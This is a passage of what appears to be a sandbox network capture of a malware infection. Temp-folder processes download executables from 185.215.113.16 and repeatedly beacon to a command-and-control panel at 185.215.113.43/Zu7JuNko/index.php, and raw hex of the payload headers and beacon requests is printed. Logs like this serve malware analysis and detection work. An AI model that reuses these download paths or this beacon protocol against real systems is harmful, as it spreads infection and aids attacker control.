Nov 1, 2024 10:57:49.015492916 CET	636	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 10:57:49.015506029 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 10:57:49.015515089 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 10:57:49.015649080 CET	1236	IN	Data Raw: cc de e6 c9 f6 df 95 af da f6 97 e4 d8 9c 89 d3 55 de 8b d2 d7 1d 8e ee 35 7d a3 9d f5 c9 8c ff 90 a0 82 d4 34 cb ee 97 f8 a0 30 8e fe fd f1 3e 9a 73 71 08 90 c1 92 fe 97 d3 8a e0 9c d4 f7 32 56 dc 3a 85 e0 c2 f6 e9 e7 af 3d 5f a0 c8 f3 d7 f7 c5 Data Ascii: U5}40>sq2V:=_Mj\CUhaaav`GmY~nF^KTcrn]<5pM%p^80F&
Nov 1, 2024 10:57:49.023493052 CET	1236	IN	Data Raw: 6f 46 2b 8c 81 d3 56 d6 92 95 c9 c4 c5 f5 7c 8c 0a e3 8c c9 58 a9 84 c9 bc f6 ce c8 da 7f ac d0 40 e6 35 9d bc 96 af 8d c9 86 89 bd 59 c2 3c b5 82 c9 6c 72 de a6 af 5d 7c 8b 04 80 da c9 34 ca 4d 56 f3 f4 79 a9 6a 05 68 49 94 c9 fb e5 f6 ea e8 3e Data Ascii: oF+V\|X@5Y<lr]\|4MVyjhI>m_A6.r$dsvO0XvqlGz4HCYFuurc%)m^BEnYkQ^av{Z}\%zIML
Nov 1, 2024 10:57:50.752438068 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 1, 2024 10:57:51.037102938 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:57:50 GMT Content-Type: application/octet-stream Content-Length: 1852416 Last-Modified: Fri, 01 Nov 2024 09:52:29 GMT Connection: keep-alive ETag: "6724a4dd-1c4400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 a0 49 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfI@I4 @WkD<II @.rsrcD@.idata @ )@oibhsmco0`0&@rrchhzpyI@.taggant0I""@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	50076	185.215.113.16	80	5448	C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:57:48.507823944 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 1, 2024 10:57:49.413042068 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:57:49 GMT Content-Type: application/octet-stream Content-Length: 2712064 Last-Modified: Fri, 01 Nov 2024 09:00:50 GMT Connection: keep-alive ETag: "672498c2-296200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 29 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2a 00 00 04 00 00 c2 10 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$) `@ **`Ui` @ @.rsrc`2@.idata 8@mvtnwoxp )):@zodzljtk )<)@.taggant@)"@)@
Nov 1, 2024 10:57:49.413054943 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 10:57:49.413065910 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 10:57:49.413223028 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 10:57:49.413234949 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 10:57:49.413316965 CET	24	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 10:57:49.413327932 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 10:57:49.413338900 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 10:57:49.413352013 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 10:57:49.413366079 CET	1236	IN	Data Raw: 07 5a ea 61 46 cc 9a 42 da c5 ba 71 72 fc 95 ea df d3 be c9 f1 11 0d 4e 18 76 50 1a 87 f1 0c 36 1f 42 42 d0 fa 2d 8f 5f 0f fd b7 d6 57 99 1d 82 21 d4 5f 28 c9 4b f7 57 de b2 e5 90 1a 90 89 89 d9 2f 33 0c 54 53 5e 62 99 c3 f6 38 3d f5 e0 d5 c8 81 Data Ascii: ZaFBqrNvP6BB-_W!_(KW/3TS^b8=\$ew7Jz;:*Y 0w]V1=`CLPqE5vQ
Nov 1, 2024 10:57:49.418355942 CET	1236	IN	Data Raw: 84 b6 ac ae 81 82 e0 df 58 c6 be 10 85 e3 d1 96 36 bf b8 b0 45 81 55 50 94 54 87 e3 26 82 db cf 5f fa 84 96 49 84 3a d6 97 8d 09 8f 9e 96 3f 93 05 fd 4b 8c 13 23 91 2e 85 73 89 3a 8c 66 1b 95 87 68 8b 73 41 9b a4 8f 03 cf b2 68 b8 63 1c 73 c6 70 Data Ascii: X6EUPT&_I:?K#.s:fhsAhcsp-sc-5EWhXwp%MUFArnjJ}g~-Gc+Lz=JZ6'A1Hsx\|mM_2MKw>z
Nov 1, 2024 10:58:01.170006990 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 1, 2024 10:58:01.449454069 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:58:01 GMT Content-Type: application/octet-stream Content-Length: 1852416 Last-Modified: Fri, 01 Nov 2024 09:52:29 GMT Connection: keep-alive ETag: "6724a4dd-1c4400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 a0 49 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfI@I4 @WkD<II @.rsrcD@.idata @ )@oibhsmco0`0&@rrchhzpyI@.taggant0I""@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	50077	185.215.113.43	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:57:50.455085039 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 1, 2024 10:57:51.358046055 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:57:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Nov 1, 2024 10:57:51.578774929 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:57:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	50078	185.215.113.43	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:57:53.262093067 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 10:57:54.157130003 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:57:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	50079	185.215.113.43	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:57:55.697405100 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 1, 2024 10:57:56.612346888 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:57:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	50080	185.215.113.43	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:57:58.355865002 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 10:57:59.257668018 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:57:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	50085	185.215.113.43	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:58:00.983802080 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 1, 2024 10:58:01.905217886 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:58:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	50107	185.215.113.43	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:58:03.953136921 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 10:58:04.860497952 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:58:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	50109	185.215.113.43	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:58:06.436597109 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 1, 2024 10:58:07.363153934 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:58:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	50110	185.215.113.43	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:58:09.013504028 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 10:58:09.919527054 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:58:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	50112	185.215.113.43	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:58:11.445121050 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 1, 2024 10:58:12.365993977 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:58:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	50114	185.215.113.43	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:58:14.220453024 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 10:58:15.265126944 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:58:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	50117	185.215.113.43	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:58:16.798182964 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 1, 2024 10:58:17.709189892 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:58:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	50120	185.215.113.43	80	7488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:58:19.331692934 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 10:58:20.239198923 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:58:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

